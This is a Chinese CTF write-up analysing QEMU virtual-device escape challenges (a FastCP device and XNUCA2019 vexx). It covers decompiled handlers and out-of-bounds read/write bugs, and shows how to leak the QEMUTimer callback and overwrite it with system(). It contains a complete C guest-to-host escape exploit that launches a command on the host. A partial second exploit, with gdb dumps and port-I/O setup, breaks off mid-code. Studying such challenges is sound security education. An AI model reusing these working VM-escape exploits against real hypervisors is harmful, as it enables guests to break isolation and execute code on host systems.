void cpu_physical_memory_rw(hwaddr addr, uint8_t *buf,int len, int is_write)

这里用到的数据传输结构体

1
2
3
4
5
6
00000000 CP_state        struc ; (sizeof=0x18, align=0x8, copyof_4529)
00000000 ; XREF: FastCPState/r
00000000 CP_list_src dq ?
00000008 CP_list_cnt dq ?
00000010 cmd dq ?
00000018 CP_state ends

cp_list_src是data msg的数组,CP_list_cnt是src中data msg的个数,cmd是指令

这里说的data msg是数据传输的消息结构,结构如下,包含数据传输的源地址,字节数,目的地址

1
2
3
4
5
6
7
8
00000000 FastCP_CP_INFO  struc ; (sizeof=0x18, align=0x8, copyof_4531)
00000000 ; XREF: fastcp_cp_timer/r
00000000 CP_src dq ? ; XREF: fastcp_cp_timer+24/w
00000000 ; fastcp_cp_timer+1F8/r ...
00000008 CP_cnt dq ? ; XREF: fastcp_cp_timer+2C/w
00000008 ; fastcp_cp_timer+187/r ...
00000010 CP_dst dq ? ; XREF: fastcp_cp_timer+35/w
00000010 ; fastcp_cp_timer+20B/r ...

总共分为三个功能号

case 2 从CP_src中读数据到CP_buffer,这里对cnt进行了校验,没有漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
case 2uLL:                                  // read
v7 = opaque->cp_state.CP_list_cnt == 1;
opaque->handling = 1;
if ( v7 )
{
cpu_physical_memory_rw(opaque->cp_state.CP_list_src, &cp_info, 0x18uLL, 0);// read data msg
if ( cp_info.CP_cnt <= 0x1000 ) // read做了cnt校验
cpu_physical_memory_rw(cp_info.CP_src, opaque->CP_buffer, cp_info.CP_cnt, 0);// physical read
v6 = opaque->cp_state.cmd & 0xFFFFFFFFFFFFFFFCLL;
opaque->cp_state.cmd = v6;
goto LABEL_11;
}
break;

case 4 从CP_buffer中写数据到CP_dst上,这里就忘了加cnt的校验了,因此存在越界读

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
    case 4uLL:                                  // write
v7 = opaque->cp_state.CP_list_cnt == 1;
opaque->handling = 1;
if ( v7 )
{
cpu_physical_memory_rw(opaque->cp_state.CP_list_src, &cp_info, 0x18uLL, 0);
cpu_physical_memory_rw(cp_info.CP_dst, opaque->CP_buffer, cp_info.CP_cnt, 1);// physical write
v6 = opaque->cp_state.cmd & 0xFFFFFFFFFFFFFFF8LL;// 这里没对cnt做检验
opaque->cp_state.cmd = v6;
LABEL_11:
if ( (v6 & 8) != 0 )
{
opaque->irq_status |= 0x100u;
if ( msi_enabled(&opaque->pdev) )
msi_notify(&opaque->pdev, 0);
else
pci_set_irq(&opaque->pdev, 1);
}
goto LABEL_16;
}
break;

case 1,当CP_list_cnt会进入if,if是个搬运工,从CP_src中读到CP_buffer里,再从CP_buffer写到CP_dst里,这里也是忘了校验cnt了,导致从CP_src读到CP_buffer时存在写溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
    case 1uLL:                                  // cmd == 1
cnt = opaque->cp_state.CP_list_cnt;
opaque->handling = 1;
if ( cnt > 0x10 )
{
LABEL_22:
v8 = 0LL;
do
{
v9 = 3 * v8++; // 从src拷贝到dst,中间可以在buffer中溢出
cpu_physical_memory_rw(opaque->cp_state.CP_list_src + 8 * v9, &cp_info, 0x18uLL, 0);
cpu_physical_memory_rw(cp_info.CP_src, opaque->CP_buffer, cp_info.CP_cnt, 0);// 这里没对cnt进行校验,存在溢出
cpu_physical_memory_rw(cp_info.CP_dst, opaque->CP_buffer, cp_info.CP_cnt, 1);// 从src中先拷贝出来cp_info,再进行读写
}
while ( opaque->cp_state.CP_list_cnt > v8 );
}

总结现在,对CP_buffer任意读写都有了,同时CP_buffer下面刚好是QemuTImer,因此可以通过读QemuTimer.cb来泄露程序基址,然后再覆写以劫持控制流

漏洞利用

这里有个小细节,我们在越界读时,因为一个物理页是0x1000,我们越界读0x1030个字节,会写到两个连续的物理页上,但是第二个物理页的虚拟地址并不是我们分配的,所以需要确定这我们分配的0x2000的虚拟地址对应的两个物理页是否连续(这个特性很难满足)

因此我们可以采用另外一种方法,即通过cmd2,把第二个物理页的内容再read回buf,然后再通过cmd4再写一次用户空间,也就是一次越界读,读写三次,因此我们可以把其封装到函数里面

exp

QemuTimer结构

1
2
3
4
5
6
7
8
9
10
00000000 QEMUTimer_0     struc ; (sizeof=0x30, align=0x8, copyof_1181)
00000000 ; XREF: FastCPState/r
00000000 expire_time dq ?
00000008 timer_list dq ? ; offset
00000010 cb dq ? ; offset
00000018 opaque dq ? ; offset
00000020 next dq ? ; offset
00000028 attributes dd ?
0000002C scale dd ?
00000030 QEMUTimer_0 ends

因为不能执行shell,所以这里用成功用gnome-calculator弹出计算器

image-20220503220736450

完整exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226


#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>

#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)

unsigned char* mmio_mem;

struct FastCP_CP_INFO
{
uint64_t CP_src;
uint64_t CP_cnt;
uint64_t CP_dst;
};

uint64_t page_offset(uint64_t addr)
{
return addr & ((1 << PAGE_SHIFT) - 1);
}

uint64_t gva_to_gfn(void* addr)
{
uint64_t pme, gfn;
size_t offset;

int fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0)
{
die("open pagemap");
}
offset = ((uintptr_t)addr >> 9) & ~7;
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
if (!(pme & PFN_PRESENT))
return -1;
gfn = pme & PFN_PFN;
return gfn;
}

uint64_t gva_to_gpa(void* addr)
{
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}


void die(const char* msg)
{
perror(msg);
exit(-1);
}

void mmio_write(uint32_t addr, uint64_t value)
{
*((uint64_t*)(mmio_mem + addr)) = value;
}

uint32_t mmio_read(uint32_t addr)
{
return *((uint32_t*)(mmio_mem + addr));
}

void printdsg(uint64_t* addr)
{
printf("src: 0x%lx\n",*addr);
printf("cnt: 0x%lx\n",*(addr+1));
printf("dst: 0x%lx\n",*(addr+2));
}

uint64_t phy_addr1_1;
uint64_t phy_addr1_2;
uint64_t phy_addr2;
uint64_t date_msg_buf;
uint8_t* userbuf;
void arbRead()
{
//oob_read
//((struct FastCP_CP_INFO*)date_msg_buf) -> CP_cnt = 0x1030;
*((uint64_t*)(date_msg_buf)+1) = 0x1030;
*((uint64_t*)(date_msg_buf)+2) = phy_addr1_1;
printdsg((uint64_t*)date_msg_buf);
//((struct FastCP_CP_INFO*)date_msg_buf) -> CP_dst = phy_addr1_1;

mmio_write(16,1);
mmio_write(8,phy_addr2);
mmio_write(24,4);
//temp save databuf
//((struct FastCP_CP_INFO*)date_msg_buf) -> CP_cnt = 0x30;
sleep(1);
*((uint64_t*)(date_msg_buf)+1) = 0x30;
//((struct FastCP_CP_INFO*)date_msg_buf) -> CP_dst = phy_addr1_1+0x1000;
*((uint64_t*)(date_msg_buf)+0) = phy_addr1_1+0x1000;
printdsg((uint64_t*)date_msg_buf);
mmio_write(16,1);
mmio_write(8,phy_addr2);
mmio_write(24,2);
//read to userspace
//((struct FastCP_CP_INFO*)date_msg_buf) -> CP_cnt = 0x30;
//((struct FastCP_CP_INFO*)date_msg_buf) -> CP_dst = phy_addr1_1;
sleep(1);
*((uint64_t*)(date_msg_buf)+1) = 0x30;
*((uint64_t*)(date_msg_buf)+2) = phy_addr1_1;
printdsg((uint64_t*)date_msg_buf);
mmio_write(16,1);
mmio_write(8,phy_addr2);
mmio_write(24,4);

sleep(1);
//printdsg(userbuf);
}

void PhyRead(uint64_t src,uint64_t cnt)
{
*((uint64_t*)(date_msg_buf)+1) = cnt;
*((uint64_t*)(date_msg_buf)+0) = src;
mmio_write(16,1);
mmio_write(8,phy_addr2);
mmio_write(24,2);
sleep(1);
}

void PhyWrite(uint64_t dst,uint64_t cnt)
{
*((uint64_t*)(date_msg_buf)+1) = cnt;
*((uint64_t*)(date_msg_buf)+2) = dst;
mmio_write(16,1);
mmio_write(8,phy_addr2);
mmio_write(24,4);
sleep(1);
}

void PhyCopy(uint64_t src,uint64_t cnt,uint64_t dst)
{
for(int i=0;i<=0x13;i++)
{
*((uint64_t*)(date_msg_buf)+3*i + 0) = src;
*((uint64_t*)(date_msg_buf)+3*i + 1) = cnt;
*((uint64_t*)(date_msg_buf)+3*i + 2) = dst;
}
mmio_write(16,0x11);
mmio_write(8,phy_addr2);
mmio_write(24,1);
sleep(1);
}

int main(int argc, char *argv[])
{

// Open and map I/O memory for the d3dev device
//00:04.0
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");

mmio_mem = mmap(0, 0x10000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");

printf("mmio_mem @ %p\n", mmio_mem);
// Open and map I/O memory for the strng device

//init user buf
userbuf = mmap(0, 0x2000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (userbuf == MAP_FAILED)
die("mmap userbuf failed");
printf("userbuf: 0x%lx\n",userbuf);
*(uint8_t*)userbuf = 0;
mlock(userbuf, 0x2000);
phy_addr1_1 = gva_to_gpa(userbuf);
phy_addr1_2 = gva_to_gpa(userbuf+0x1000);
printf("phy_addr1_1: 0x%lx\n",phy_addr1_1);
printf("phy_addr1_2: 0x%lx\n",phy_addr1_2);

date_msg_buf = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (date_msg_buf == MAP_FAILED)
die("mmap date_msg_buf failed");
mlock(date_msg_buf, 0x1000);
*(uint8_t*)date_msg_buf = 0;
printf("date_msg_buf: 0x%lx\n",(uint8_t*)date_msg_buf);

phy_addr2 = gva_to_gpa(date_msg_buf);

arbRead();

uint64_t fastcp_cp_timer_addr = *(uint64_t*)(userbuf+ 0x10);

printf("leaking fastcp_cp_timer: 0x%lx\n",fastcp_cp_timer_addr);
uint64_t rebase = fastcp_cp_timer_addr-0x04DCE80;
printf("leaking rebase: 0x%lx\n",rebase);

uint64_t system_addr = rebase + 0x02C2180;
printf("leaking system_addr: 0x%lx\n",system_addr);

uint64_t fast_obj_addr = *(uint64_t*)(userbuf+ 0x18);
printf("leaking fast_obj_addr: 0x%lx\n",fast_obj_addr);


//write shell command
char command[] = "gnome-calculator";
*(uint64_t*)(userbuf+0x10) = system_addr;
*(uint64_t*)(userbuf+0x18) = fast_obj_addr + 0xA00;

PhyRead(phy_addr1_1,0x30);
PhyWrite(phy_addr1_1+0x1000,0x30);

strcpy(userbuf,command);
PhyCopy(phy_addr1_1,0x1030,phy_addr1_1);
//trick timer
PhyRead(phy_addr1_1,0x30);



}

这里需要注意

不加mlock不行,不加mlock,会导致物理页换出去,然后gfn转换时报错

mlock的作用就是锁定物理页,防止其被换出

XNUCA2019 - vxee

vm-escape/qemu-escape/xnuca-2019-vxee at master · ray-cp/vm-escape (github.com)

程序分析

登录用户名密码如下

1
2
3
user: root
pass: goodluck
Try to escape the QEMU world!

启动脚本,这里就可以看到设备名为vexx

1
2
#!/bin/sh
./qemu-system-x86_64 -hda rootfs.ext2 -kernel bzImage -m 64M -append "console=ttyS0 root=/dev/sda oops=panic panic=1" -L ./pc-bios -netdev user,id=mynet0 -device rtl8139,netdev=mynet0 -nographic -device vexx -snapshot

这次给的rootfs已经搞成ext2格式了,所以可以直接挂载到/mnt上修改

1
mount -o loop rootfs.ext2 /mnt

vexx_class_init

1
2
3
4
5
6
7
8
9
10
11
12
void __fastcall vexx_class_init(ObjectClass_0 *a1, void *data)
{
ObjectClass_0 *v2; // rbx
ObjectClass_0 *v3; // rax

LODWORD(v3[2].object_cast_cache[0]) = 0x11E91234;
BYTE4(v3[2].object_cast_cache[0]) = 16;
v3[1].unparent = (ObjectUnparent *)pci_vexx_realize;
v3[1].properties = (GHashTable *)pci_vexx_uninit;
HIWORD(v3[2].object_cast_cache[0]) = 255;
v2[1].type = (Type)((unsigned __int64)v2[1].type | 0x80);
}

这里有用的就是得到vendor号是0x11E91234

1
2
3
4
5
6
7
8
# lspci
00:01.0 Class 0601: 8086:7000
00:04.0 Class 00ff: 1234:11e9
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 10ec:8139
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111

进一步得到PCI号 00:04.0

还好程序保留了vexx结构体对象的符号

image-20220501182647809

pci_vexx_realize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
void __fastcall pci_vexx_realize(VexxState *pdev, Error_0 **errp)
{
VexxState *vexxObj; // rbx
MemoryRegion_0 *v3; // rax

vexxObj = (VexxState *)object_dynamic_cast_assert(
&pdev->pdev.qdev.parent_obj,
"vexx",
"/home/giglf/workbench/learn/qemu-4.0.0/hw/misc/vexx.c",
482,
"pci_vexx_realize");
pdev->pdev.config[61] = 1;
if ( !msi_init(&pdev->pdev, 0, 1u, 1, 0, errp) )
{
timer_init_full(&vexxObj->vexxdma.dma_timer, 0LL, QEMU_CLOCK_VIRTUAL, 1000000, 0, vexx_dma_timer, vexxObj);
qemu_mutex_init(&vexxObj->thr_mutex);
qemu_cond_init(&vexxObj->thr_cond);
qemu_thread_create(&vexxObj->thread, "vexx", vexx_fact_thread, vexxObj, 0);
memory_region_init_io(
&vexxObj->mmio,
&vexxObj->pdev.qdev.parent_obj,
&vexx_mmio_ops,
vexxObj,
"vexx-mmio",
0x1000uLL);
memory_region_init_io(&vexxObj->cmb, &vexxObj->pdev.qdev.parent_obj, &vexx_cmb_ops, vexxObj, "vexx-cmb", 0x4000uLL);
portio_list_init(&vexxObj->port_list, &vexxObj->pdev.qdev.parent_obj, vexx_port_list, vexxObj, "vexx");
v3 = pci_address_space_io(&pdev->pdev);
portio_list_add(&vexxObj->port_list, v3, 0x230u);
pci_register_bar(&pdev->pdev, 0, 0, &vexxObj->mmio);
pci_register_bar(&pdev->pdev, 1, 4u, &vexxObj->cmb);
}
}

这里注册了很多东西,一个定时器vexx_dma_timer,一个新线程vexx_fact_thread

注册了两个mmio,vexx_cmb和vexx_mmio,还有一个PMIO

下面得逐一分析下这几个函数

vexx_mmio_read

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
uint64_t __fastcall vexx_mmio_read(VexxState *opaque, hwaddr addr, unsigned int size)
{
uint64_t result; // rax
uint64_t v4; // [rsp+0h] [rbp-20h]

result = -1LL;
if ( size != 4 )
return result;
if ( addr == 36 )
return opaque->irq_status;
if ( addr > 0x24 )
{
if ( addr == 136 )
return opaque->vexxdma.dma.dst;
if ( addr > 0x88 )
{
if ( addr != 144 )
{
if ( addr == 152 )
return opaque->vexxdma.dma.cmd;
return -1LL;
}
return opaque->vexxdma.dma.cnt;
}
if ( addr == 128 )
return opaque->vexxdma.dma.src;
return -1LL;
}
if ( addr == 4 )
return opaque->addr4;
if ( addr <= 4 )
{
result = 0xDEADBEEFLL;
if ( !addr )
return result;
return -1LL;
}
if ( addr != 8 )
{
if ( addr == 32 )
return opaque->status;
return -1LL;
}
qemu_mutex_lock_func(&opaque->thr_mutex, "/home/giglf/workbench/learn/qemu-4.0.0/hw/misc/vexx.c", 220);
v4 = opaque->fact;
qemu_mutex_unlock_impl(&opaque->thr_mutex, "/home/giglf/workbench/learn/qemu-4.0.0/hw/misc/vexx.c", 222);
return v4;
}

vexx_mmio_read可以读取dma的相关值(vexxdma.dma.dst / vexxdma.dma.cmd / vexxdma.dma.cnt / vexxdma.dma.src / opaque->addr4 / opaque->status)

vexx_fact_thread

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
void *__fastcall vexx_fact_thread(VexxState *vexxObj)
{
volatile signed __int32 *v1; // r12
QemuMutex_0 *v2; // rbp
uint32_t v3; // ebx
uint32_t v4; // er15

v1 = (volatile signed __int32 *)&vexxObj->status;
v2 = &vexxObj->thr_mutex;
while ( 1 )
{
qemu_mutex_lock_func(v2, "/home/giglf/workbench/learn/qemu-4.0.0/hw/misc/vexx.c", 442);
while ( (*v1 & 1) == 0 )
{
if ( vexxObj->stopping )
goto LABEL_11;
qemu_cond_wait_func(&vexxObj->thr_cond, v2, "/home/giglf/workbench/learn/qemu-4.0.0/hw/misc/vexx.c", 445);// 等待cond
}
if ( vexxObj->stopping )
break;
v3 = vexxObj->fact;
v4 = 1;
qemu_mutex_unlock_impl(v2, "/home/giglf/workbench/learn/qemu-4.0.0/hw/misc/vexx.c", 454);
for ( ; v3; --v3 )
v4 *= v3;
qemu_mutex_lock_func(v2, "/home/giglf/workbench/learn/qemu-4.0.0/hw/misc/vexx.c", 465);
vexxObj->fact = v4; // 计算fact
qemu_mutex_unlock_impl(v2, "/home/giglf/workbench/learn/qemu-4.0.0/hw/misc/vexx.c", 467);
_InterlockedAnd(v1, 0xFFFFFFFE);
if ( (*v1 & 0x80u) != 0 )
{
qemu_mutex_lock_iothread_impl("/home/giglf/workbench/learn/qemu-4.0.0/hw/misc/vexx.c", 471);
vexxObj->irq_status |= 1u;
vexx_raise_irq(vexxObj, 0x1D7u);
qemu_mutex_unlock_iothread();
}
}
LABEL_11:
qemu_mutex_unlock_impl(v2, "/home/giglf/workbench/learn/qemu-4.0.0/hw/misc/vexx.c", 449);
return 0LL;
}

fact_thread好像就是等待线程信号,然后计算了一下fact(幂乘)

vexx_mmio_write

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
void __fastcall vexx_mmio_write(VexxState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
uint32_t v4; // ebx
bool v5; // zf
uint32_t *v6; // rdi
int v7; // edx
int64_t v8; // rax

if ( (addr > 0x7F || size == 4) && (((size - 4) & 0xFFFFFFFB) == 0 || addr <= 0x7F) )
{
v4 = val;
if ( addr == 100 )
{
v7 = ~(_DWORD)val;
v5 = (v7 & opaque->irq_status) == 0;
opaque->irq_status &= v7;
if ( v5 && !msi_enabled(&opaque->pdev) )
pci_set_irq(&opaque->pdev, 0);
}
else if ( addr <= 0x64 )
{
if ( addr == 8 )
{
if ( (opaque->status & 1) == 0 )
{
qemu_mutex_lock_func(&opaque->thr_mutex, "/home/giglf/workbench/learn/qemu-4.0.0/hw/misc/vexx.c", 271);
opaque->fact = v4;
_InterlockedOr((volatile signed __int32 *)&opaque->status, 1u);
qemu_cond_signal(&opaque->thr_cond); // 给线程发送信号
qemu_mutex_unlock_impl(&opaque->thr_mutex, "/home/giglf/workbench/learn/qemu-4.0.0/hw/misc/vexx.c", 275);
}
}
else if ( addr <= 8 )
{
if ( addr == 4 )
opaque->addr4 = ~(_DWORD)val; // 设置addr4
}
else if ( addr == 32 )
{
v6 = &opaque->status;
if ( (val & 0x80) != 0 )
_InterlockedOr((volatile signed __int32 *)v6, 0x80u);
else
_InterlockedAnd((volatile signed __int32 *)v6, 0xFFFFFF7F);
}
else if ( addr == 96 )
{
v5 = ((unsigned int)val | opaque->irq_status) == 0;
opaque->irq_status |= val;
if ( !v5 )
vexx_raise_irq(opaque, 0x60u);
}
}
else if ( addr == 136 )
{
if ( (opaque->vexxdma.dma.cmd & 1) == 0 )
opaque->vexxdma.dma.dst = val; // 设置dma.dst
}
else if ( addr <= 0x88 )
{
if ( addr == 128 && (opaque->vexxdma.dma.cmd & 1) == 0 )
opaque->vexxdma.dma.src = val; // 设置dma.src
}
else if ( addr == 144 )
{
if ( (opaque->vexxdma.dma.cmd & 1) == 0 )
opaque->vexxdma.dma.cnt = val; // 设置dma.cnt
}
else if ( addr == 152 && (val & 1) != 0 && (opaque->vexxdma.dma.cmd & 1) == 0 )
{
opaque->vexxdma.dma.cmd = val; // 设置dma.cmd
v8 = qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL);
timer_mod(&opaque->vexxdma.dma_timer, v8 / 1000000 + 100);// 启动timer
}
}
}

mmio_write就是设置相关dma信息,同时可以启动timer,以及给thread发信号

后来又看了其他函数,才发现都没有关系,漏洞点在cmb_write和cmb_read处

vexx_cmb_write

这里用到新的对象

1
2
3
4
5
6
00000000 VexxRequest     struc ; (sizeof=0x108, align=0x4, copyof_4574)
00000000 ; XREF: VexxState/r
00000000 state dd ?
00000004 offset dd ?
00000008 req_buf db 256 dup(?)
00000108 VexxRequest ends

buf是0x100大小

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
void __fastcall vexx_cmb_write(VexxState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
uint32_t v4; // eax
hwaddr v5; // rax

v4 = opaque->memorymode;
if ( (v4 & 1) != 0 )
{
if ( addr > 0x100 )
return;
LODWORD(addr) = opaque->req.offset + addr;
goto LABEL_4;
}
if ( (v4 & 2) == 0 )
{
if ( addr > 0x100 )
return;
goto LABEL_4;
}
v5 = addr - 0x100;
LODWORD(addr) = addr - 0x100;
if ( v5 <= 0x50 )
LABEL_4:
*(_QWORD *)&opaque->req.req_buf[(unsigned int)addr] = val;// 越界写
}

这个offset虽然找不到哪里设置的,但是以0为假设,这里v5 = 0x50也超了0x100的缓冲区了

vexx_cmb_read

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
uint64_t __fastcall vexx_cmb_read(VexxState *opaque, hwaddr addr, unsigned int size)
{
uint32_t v3; // eax
uint64_t result; // rax

v3 = opaque->memorymode;
if ( (v3 & 1) != 0 )
{
result = 255LL;
if ( addr > 0x100 )
return result;
LODWORD(addr) = opaque->req.offset + addr;
goto LABEL_4;
}
if ( (v3 & 2) == 0 )
{
result = 255LL;
if ( addr > 0x100 )
return result;
goto LABEL_4;
}
result = 255LL;
if ( addr - 256 <= 0x50 )
{
LODWORD(addr) = addr - 256;
LABEL_4:
result = *(_QWORD *)&opaque->req.req_buf[(unsigned int)addr]; //跟write同理的越界读
}
return result;
}

越界读写都能访问到dma结构体,里面能劫持控制流的就dma_buf

1
2
3
4
5
6
7
8
9
10
11
12
00000000 VexxDma         struc ; (sizeof=0x1060, align=0x8, copyof_4573)
00000000 ; XREF: VexxState/r
00000000 state dd ?
00000004 db ? ; undefined
00000005 db ? ; undefined
00000006 db ? ; undefined
00000007 db ? ; undefined
00000008 dma dma_state ?
00000028 dma_timer QEMUTimer_0 ?
00000058 dma_buf db 4096 dup(?)
00001058 dma_mask dq ?
00001060 VexxDma ends

漏洞利用

先看看dma_buf能泄露出什么有用的信息(先写个poc让程序断到cmb_write上)

PS:gdb启动的越来越慢了

这里由于vexx有两个mmio,所以在映射的时候需要分别使用resource0和resource1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void init_mmio(){
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if(mmio_fd < 0){
Err("Open pci");
}
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if(mmio_mem<0){
Err("mmap mmio_mem");
}
}
void init_cmb(){
int fdcmb = open("/sys/devices/pci0000:00/0000:00:04.0/resource1", O_RDWR|O_SYNC);
if (fdcmb < 0) {
Err("fdcmb open");
}
cmb_mem = mmap(NULL, 0x4000, PROT_READ | PROT_WRITE, MAP_SHARED, fdcmb, 0);
if (cmb_mem == MAP_FAILED) {
Err("cmb");
}
}

VexxDma里面的timer,可以泄露出vexx_dma_timer的地址,进而得到程序基址,以及system_plt / sh_str,如果不打/bin/sh(因为这题先前做的,后来才知道是打不了sh的),这里也可以通过泄露VexxState的地址,来得到reqbuf,在里面写上cat flag,再通过system调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
gdb-peda$ x /20gx 0x5555574f51e0 + 0xC90
0x5555574f5e70: 0x0000000000000000 0x0000000000000000
0x5555574f5e80: 0x0000000000000000 0x0000000000000000
0x5555574f5e90: 0x0000000000000000 0xffffffffffffffff
0x5555574f5ea0: 0x0000555556662500 0x0000555555a30f10
0x5555574f5eb0: 0x00005555574f51e0 0x0000000000000000
0x5555574f5ec0: 0x000f424000000000 0x0000000000000000
0x5555574f5ed0: 0x0000000000000000 0x0000000000000000
0x5555574f5ee0: 0x0000000000000000 0x0000000000000000
0x5555574f5ef0: 0x0000000000000000 0x0000000000000000
0x5555574f5f00: 0x0000000000000000 0x0000000000000000
gdb-peda$ p {struct QEMUTimer} 0x5555574f5e98
$1 = {
expire_time = 0xffffffffffffffff,
timer_list = 0x555556662500,
cb = 0x555555a30f10 <vexx_dma_timer>,
opaque = 0x5555574f51e0,
next = 0x0,
attributes = 0x0,
scale = 0xf4240
}

QEMUTimer_0结构体

1
2
3
4
5
6
7
8
9
10
00000000 QEMUTimer_0     struc ; (sizeof=0x30, align=0x8, copyof_1100)
00000000 ; XREF: VexxDma/r
00000000 expire_time dq ?
00000008 timer_list dq ? ; offset
00000010 cb dq ? ; offset
00000018 opaque dq ? ; offset
00000020 next dq ? ; offset
00000028 attributes dd ?
0000002C scale dd ?
00000030 QEMUTimer_0 ends

不过实际调试发现,memorymode默认是4(instance_init中设置的),所以需要想办法改成1

1
2
3
4
5
6
7
8
void __fastcall vexx_instance_init(VexxState *obj)
{
VexxState *v1; // rax

v1->memorymode = 4; // memory_mode初始化为4
v1->req.offset = 0; // offset初始化为0
v1->vexxdma.dma_mask = 0xFFFFFFFLL;
}

分析程序可以得到设置的地方在ioport_write(这种另类的ioport_write回头要再看一下)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void __fastcall vexx_ioport_write(VexxState *opaque, uint32_t addr, uint32_t val)
{
if ( addr - 560 <= 0x20 )
{
switch ( addr )
{
case 0x240u:
opaque->req.offset = val;
break;
case 0x250u:
opaque->req.state = val;
break;
case 0x230u:
opaque->memorymode = val;
break;
}
}
}

进行io_port操作之前需要进行这一步操作(这个也是看exp得到的,需要后续研究)

1
2
3
4
res = ioperm(0x230, 0x30, 1);
if (res < 0) {
Err("ioperm");
}

而且这里很奇怪,只能用outb,我一开始用outl就是错误

1
2
3
4
5
6
7
void set_offset(uint64_t val){
outb(val, 0x240);
}

void set_mode(uint64_t val){
outb(val, 0x230);
}

写入完成后,直接通过dma触发timer即可

最终可以触发到sh,但是好像一样出现这个提示(不能打sh)

1
2
3
4
5
6
# ./exp
leaking timer_addr: 0x5643b3662f10
leaking rebase: 0x5643b3186000
leaking system_plt_addr: 0x5643b3431860
leaking sh_str: 0x5643b39ae71c
# $ sh: turning off NDELAY mode

完整exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>

unsigned char* mmio_mem;

unsigned char* cmb_mem_base = 0;
unsigned char* cmb_mem = 0;


void die(const char* msg)
{
perror(msg);
exit(-1);
}



void cmb_write(uint32_t addr, uint64_t value)
{
*((uint64_t*)(cmb_mem + addr)) = value;
}

uint64_t cmb_read(uint32_t addr)
{
return *((uint64_t*)(cmb_mem + addr));
}

void mmio_write(uint64_t addr, uint64_t value){
*(uint64_t*)(mmio_mem+addr) = value;
}

uint32_t mmio_read(uint32_t addr)
{
return *((uint32_t*)(mmio_mem + addr));
}

uint32_t pmio_write(uint32_t addr, uint32_t value)
{
outl(value,addr);
}


uint32_t pmio_read(uint32_t addr)
{
return (uint32_t)inl(addr);
}



void Err(char* err){
printf("Error: %s\n", err);
exit(-1);
}

void init_mmio(){
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
